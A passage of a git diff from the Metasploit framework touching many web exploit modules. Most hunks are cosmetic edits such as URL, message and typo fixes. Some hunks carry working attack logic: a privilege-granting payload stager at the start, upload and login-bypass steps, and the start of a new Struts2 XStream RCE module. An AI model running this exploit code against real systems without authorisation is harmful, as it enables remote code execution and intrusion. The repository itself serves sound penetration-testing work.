targetdb = json_body[0] + privs_enable = ['create','read','update','execute','delete'] + items = ['database.class.ouser','database.function','database.systemclusters'] + # Set the required DB permissions + privs_enable.each do |priv| + items.each do |item| + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"), + 'vars_get' => { 'format' => 'rid,type,version,class,graph' }, + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*' }, + 'data' => "GRANT #{priv} ON #{item} TO writer" + } + res = send_request_raw(request_parameters) + end + end + # Exploit + case target['Platform'] + when 'win' + print_status("#{rhost}:#{rport} - Sending command stager...") + execute_cmdstager(flavor: :vbs) + when 'unix' + print_status("#{rhost}:#{rport} - Sending payload...") + res = http_send_command("#{payload.encoded}","#{targetdb}") + when 'linux' + print_status("#{rhost}:#{rport} - Sending Linux stager...") + linux_stager + end + handler + # Final Cleanup + privs_enable.each do |priv| + items.each do |item| + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"), + 'vars_get' => { 'format' => 'rid,type,version,class,graph' }, + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*' }, + 'data' => "REVOKE #{priv} ON #{item} FROM writer" + } + res = send_request_raw(request_parameters) + end + end + end +end + diff --git a/modules/exploits/multi/http/pandora_upload_exec.rb b/modules/exploits/multi/http/pandora_upload_exec.rb index c664ab9478..4c1f7b64a1 100644 --- a/modules/exploits/multi/http/pandora_upload_exec.rb +++ b/modules/exploits/multi/http/pandora_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -127,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Remote if res and res.code == 200 if res.body.include?("Logout") cookies = res.get_cookies - print_status("Login Bypass Successful") + print_good("Login Bypass Successful") print_status("cookie monster = " + cookies) else fail_with(Failure::NotVulnerable, "Login Bypass Failed") diff --git a/modules/exploits/multi/http/phoenix_exec.rb b/modules/exploits/multi/http/phoenix_exec.rb index 6d89bce8d2..409e2fb68f 100644 --- a/modules/exploits/multi/http/phoenix_exec.rb +++ b/modules/exploits/multi/http/phoenix_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index b9e31e6c39..f035db2a55 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -114,7 +114,6 @@ class MetasploitModule < Msf::Exploit::Remote create_arg("-d","auto_prepend_file=php://input"), create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"), create_arg("-d", "cgi.redirect_status_env=0"), - create_arg("-d", "suhosin.simulation=#{rand_php_ini_true}"), rand_opt_equiv("-n") ] @@ -224,5 +223,4 @@ class MetasploitModule < Msf::Exploit::Remote def rand_php_ini_true Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)]) end - end diff --git a/modules/exploits/multi/http/php_utility_belt_rce.rb b/modules/exploits/multi/http/php_utility_belt_rce.rb index 7a7cd15610..eded4838bd 100644 --- a/modules/exploits/multi/http/php_utility_belt_rce.rb +++ b/modules/exploits/multi/http/php_utility_belt_rce.rb @@ -1,10 +1,9 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -75,5 +74,4 @@ class MetasploitModule < Msf::Exploit::Remote } ) end - end diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index 3d4efe3168..22afd91ed5 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote return end - print_status("Login successful with #{username}:#{password}") + print_good("Login Successful (#{username}:#{password})") # Take a snapshot of the uploads directory # Viewing this doesn't actually require the user to login first, @@ -231,7 +231,7 @@ class MetasploitModule < Msf::Exploit::Remote # Find the filename of our uploaded shell files = get_my_file(before.body, after.body) if files.empty? - print_error("No new file(s) found. The upload probably failed.") + print_error("No new file(s) found. The upload probably failed") return else vprint_status("Found these new files: #{files.inspect}") diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index 46a0402c72..2c97d518c2 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index f031e1e34b..b942f1dcd4 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -122,5 +122,4 @@ class MetasploitModule < Msf::Exploit::Remote print_status("%s" % res.body) if datastore['CMD'] end - end diff --git a/modules/exploits/multi/http/phpmailer_arg_injection.rb b/modules/exploits/multi/http/phpmailer_arg_injection.rb index fe5e6d2e99..c56f4c86fd 100644 --- a/modules/exploits/multi/http/phpmailer_arg_injection.rb +++ b/modules/exploits/multi/http/phpmailer_arg_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -68,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote while wait_time > 0 sleep(sleep_time) wait_time -= sleep_time - res = send_request_cgi( + res = send_request_cgi!( 'method' => 'GET', 'uri' => trigger_uri ) diff --git a/modules/exploits/multi/http/phpmoadmin_exec.rb b/modules/exploits/multi/http/phpmoadmin_exec.rb index 169965db37..3416ddc5db 100644 --- a/modules/exploits/multi/http/phpmoadmin_exec.rb +++ b/modules/exploits/multi/http/phpmoadmin_exec.rb @@ -1,11 +1,9 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb index 82cf6f3d9c..95214958de 100644 --- a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb +++ b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb index f4c6e614b8..d829cb4eac 100644 --- a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb +++ b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -161,7 +161,7 @@ class MetasploitModule < Msf::Exploit::Remote }) if login_check.body =~ /Welcome to/ - fail_with(Failure::NoAccess, "Authentication failed.") + fail_with(Failure::NoAccess, "Authentication failed") else print_good("Authentication successful") end diff --git a/modules/exploits/multi/http/phpscheduleit_start_date.rb b/modules/exploits/multi/http/phpscheduleit_start_date.rb index 98dd43476d..57bb941376 100644 --- a/modules/exploits/multi/http/phpscheduleit_start_date.rb +++ b/modules/exploits/multi/http/phpscheduleit_start_date.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index 6fbe7f3cba..d8ea1aae0c 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Description' => %q{ This module exploits a vulnerability found in PhpTax, an income tax report generator. When generating a PDF, the icondrawpng() function in drawimage.php - does not properly handle the pfilez parameter, which will be used in a exec() + does not properly handle the pfilez parameter, which will be used in an exec() statement, and then results in arbitrary remote code execution under the context of the web server. Please note: authentication is not required to exploit this vulnerability. diff --git a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb index 6f21dca949..69103b46b1 100644 --- a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb +++ b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb index 034c68e84e..8a2d5c5c39 100644 --- a/modules/exploits/multi/http/plone_popen2.rb +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index eb4c5030dd..ec7ca7c68d 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb index cca7b10974..88c9d3987c 100644 --- a/modules/exploits/multi/http/polarcms_upload_exec.rb +++ b/modules/exploits/multi/http/polarcms_upload_exec.rb @@ -1,9 +1,8 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb index 7909c071df..c7e1023ab4 100644 --- a/modules/exploits/multi/http/processmaker_exec.rb +++ b/modules/exploits/multi/http/processmaker_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -49,7 +49,8 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']), - OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']) + OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']), + OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow']) ]) end @@ -59,9 +60,9 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts = { :php_function => 'system' } ) # random vulnerable path # confirmed in versions 2.0.23 to 2.5.1 vuln_url = [ - '/sysworkflow/en/neoclassic/appFolder/appFolderAjax.php', - '/sysworkflow/en/neoclassic/cases/casesStartPage_Ajax.php', - '/sysworkflow/en/neoclassic/cases/cases_SchedulerGetPlugins.php' + "/sys#{@workspace}/en/neoclassic/appFolder/appFolderAjax.php", + "/sys#{@workspace}/en/neoclassic/cases/casesStartPage_Ajax.php", + "/sys#{@workspace}/en/neoclassic/cases/cases_SchedulerGetPlugins.php" ].sample # shuffle POST parameters @@ -96,7 +97,7 @@ class MetasploitModule < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, "/sysworkflow/en/neoclassic/login/authentication.php"), + 'uri' => normalize_uri(target_uri.path, "/sys#{@workspace}/en/neoclassic/login/authentication.php"), 'cookie' => @cookie, 'vars_post' => vars_post }) @@ -117,6 +118,8 @@ class MetasploitModule < Msf::Exploit::Remote # Check credentials are valid and confirm command execution # def check + @workspace = datastore['WORKSPACE'] + # login @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};" unless login(datastore['USERNAME'], datastore['PASSWORD']) @@ -169,6 +172,8 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit + @workspace = datastore['WORKSPACE'] + # login @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};" unless login(datastore['USERNAME'], datastore['PASSWORD']) @@ -184,25 +189,3 @@ class MetasploitModule < Msf::Exploit::Remote send_request_cgi({'uri' => normalize_uri(target_uri.path, "#{@fname}")}) end end - -# -# Source -# -=begin appFolder/appFolderAjax.php -22:if (($_REQUEST['action']) != 'rename') { -23: $functionName = $_REQUEST ['action']; -24: $functionParams = isset ($_REQUEST ['params']) ? $_REQUEST ['params'] : array (); -26: $functionName ($functionParams); -=end - -=begin cases/casesStartPage_Ajax.php -16:$functionName = $_REQUEST['action']; -18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array (); -19:$functionName( $functionParams ); -=end - -=begin cases/cases_SchedulerGetPlugins.php -16:$functionName = $_REQUEST['action']; -18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array (); -19:$functionName( $functionParams ); -=end diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 47ccb202a4..78a0e03101 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/rails_actionpack_inline_exec.rb b/modules/exploits/multi/http/rails_actionpack_inline_exec.rb index ce6e270e14..ef0b7e84c6 100644 --- a/modules/exploits/multi/http/rails_actionpack_inline_exec.rb +++ b/modules/exploits/multi/http/rails_actionpack_inline_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb index 2c59b6fec9..f7db011374 100644 --- a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb +++ b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb @@ -1,3 +1,8 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index e5bcc6ee29..ca2059543b 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 42aae607dc..95923d7e87 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -271,5 +271,4 @@ class MetasploitModule < Msf::Exploit::Remote handler end - end diff --git a/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb b/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb index 7cd4f5b7cf..106d0f5eea 100644 --- a/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb +++ b/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index 6d663016a8..f482bdc30a 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb index 924bb58545..73e265f4e0 100644 --- a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb +++ b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -342,5 +342,4 @@ SH res end - end diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb index 3eb4b93d4e..0788cc530b 100644 --- a/modules/exploits/multi/http/sflog_upload_exec.rb +++ b/modules/exploits/multi/http/sflog_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 53494d5909..fc246c486d 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index 02748b0ef5..3f70ef046c 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -91,11 +91,11 @@ class MetasploitModule < Msf::Exploit::Remote }, 25) if (res and res.code == 302 and res.headers['Location'] =~ /main.php/) - print_status("Successfully logged in as #{user}:#{pass}") + print_good("Successfully logged in as #{user}:#{pass}") if (res.get_cookies =~ /SiTsessionID/) and res.get_cookies.split("SiTsessionID")[-1] =~ /=(.*);/ session = $1 - print_status("Successfully retrieved cookie: #{session}") + print_good("Successfully retrieved cookie: #{session}") return session else fail_with(Failure::Unknown, "Error retrieving cookie!") @@ -143,7 +143,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 25) if (res and res.code == 200) - print_status("Successfully uploaded #{newpage}") + print_good("Successfully Uploaded #{newpage}") return res else fail_with(Failure::Unknown, "Error uploading #{newpage}") @@ -157,7 +157,7 @@ class MetasploitModule < Msf::Exploit::Remote if res.body =~ /attachments-(.*)\/#{filename}\): failed to open stream/ upload_dir = "attachments-#{$1}" - print_status("Successfully retrieved upload dir: #{upload_dir}") + print_good("Successfully retrieved upload dir: #{upload_dir}") return upload_dir else fail_with(Failure::Unknown, "Error retrieving the upload dir") diff --git a/modules/exploits/multi/http/snortreport_exec.rb b/modules/exploits/multi/http/snortreport_exec.rb index 440a302c3f..153a31f4a7 100644 --- a/modules/exploits/multi/http/snortreport_exec.rb +++ b/modules/exploits/multi/http/snortreport_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb index 086e9bf098..21b5096d2b 100644 --- a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb +++ b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -138,5 +138,4 @@ out.println("Path:" + System.getProperty("server.webapp.root")); jsp end - end diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 6dae6c0a0a..0c4b3d8e38 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote an arbitrary payload embedded in a JSP. The module has been tested successfully on SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run - successfully while testing, shell payload have been used. + successfully while testing, shell payload has been used. }, 'Author' => [ @@ -273,5 +273,4 @@ class MetasploitModule < Msf::Exploit::Remote def jsp_drop_and_execute(bin_data, output_file) jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end - end diff --git a/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb b/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb index 78daedd694..2438a6edcb 100644 --- a/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb +++ b/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -179,47 +179,12 @@ class MetasploitModule < Msf::Exploit::Remote elsif res['loginfailed'] fail_with(Failure::NoAccess, "Password '#{datastore['PASSWORD']}' is incorrect.") elsif res['sessionid'] - report_cred(datastore['USERNAME'], datastore['PASSWORD']) + store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) end res end - - # Saves a valid username/password to database. - # - # @param username [String] - # @param password [String] - # @return [void] - def report_cred(username, password) - service_data = { - address: rhost, - port: rport, - service_name: ssl ? 'https' : 'http', - protocol: 'tcp', - workspace_id: myworkspace_id - } - - credential_data = { - module_fullname: self.fullname, - origin_type: :service, - username: username, - private_data: password, - private_type: :password - }.merge(service_data) - - credential_core = create_credential(credential_data) - - login_data = { - core: credential_core, - last_attempted_at: DateTime.now, - status: Metasploit::Model::Login::Status::SUCCESSFUL - }.merge(service_data) - - create_credential_login(login_data) - end - - # Injects malicious SQL string to the methodDetail parameter against the target machine. # # @param method_detail [String] Malicious SQL injection string. @@ -395,5 +360,4 @@ class MetasploitModule < Msf::Exploit::Remote try_set_target(os) do_backdoor_sqli(os, sid, uid) end - end diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb index 586a43cbaa..193b9d01bd 100644 --- a/modules/exploits/multi/http/splunk_mappy_exec.rb +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -1,9 +1,8 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -167,5 +166,4 @@ class MetasploitModule < Msf::Exploit::Remote end end - end diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index 8d213a5cd3..b65740d4c0 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -280,7 +280,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 30) if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/)) - print_status("#{app_name} successfully uploaded") + print_good("#{app_name} successfully uploaded") else fail_with(Failure::Unknown, "Error uploading") end diff --git a/modules/exploits/multi/http/spree_search_exec.rb b/modules/exploits/multi/http/spree_search_exec.rb index 038804b413..7bc0d7836a 100644 --- a/modules/exploits/multi/http/spree_search_exec.rb +++ b/modules/exploits/multi/http/spree_search_exec.rb @@ -1,10 +1,8 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -66,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote handler end - end diff --git a/modules/exploits/multi/http/spree_searchlogic_exec.rb b/modules/exploits/multi/http/spree_searchlogic_exec.rb index 811dd45577..7a8f50dc2c 100644 --- a/modules/exploits/multi/http/spree_searchlogic_exec.rb +++ b/modules/exploits/multi/http/spree_searchlogic_exec.rb @@ -1,10 +1,8 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -69,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote end handler end - end diff --git a/modules/exploits/multi/http/struts2_content_type_ognl.rb b/modules/exploits/multi/http/struts2_content_type_ognl.rb index b947089217..1b4ba5e634 100644 --- a/modules/exploits/multi/http/struts2_content_type_ognl.rb +++ b/modules/exploits/multi/http/struts2_content_type_ognl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection', 'Description' => %q{ - This module exploits a remote code execution vunlerability in Apache Struts + This module exploits a remote code execution vulnerability in Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type header. @@ -168,7 +168,6 @@ class MetasploitModule < Msf::Exploit::Remote send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n")) end - end =begin diff --git a/modules/exploits/multi/http/struts2_rest_xstream.rb b/modules/exploits/multi/http/struts2_rest_xstream.rb new file mode 100644 index 0000000000..d3308d6c75 --- /dev/null +++ b/modules/exploits/multi/http/struts2_rest_xstream.rb @@ -0,0 +1,194 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts 2 REST Plugin XStream RCE', + 'Description' => %q{ + Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12, + using the REST plugin, are vulnerable to a Java deserialization attack + in the XStream library. + }, + 'Author' => [ + 'Man Yue Mo', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + ['CVE', '2017-9805'], + ['URL', 'https://struts.apache.org/docs/s2-052.html'], + ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'], + ['URL', 'https://github.com/mbechler/marshalsec'] + ], + 'DisclosureDate' => 'Sep 5 2017', + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'python', 'linux', 'win'], + 'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], + 'Privileged' => false, + 'Targets' => [ + ['Unix (In-Memory)', + 'Platform' => 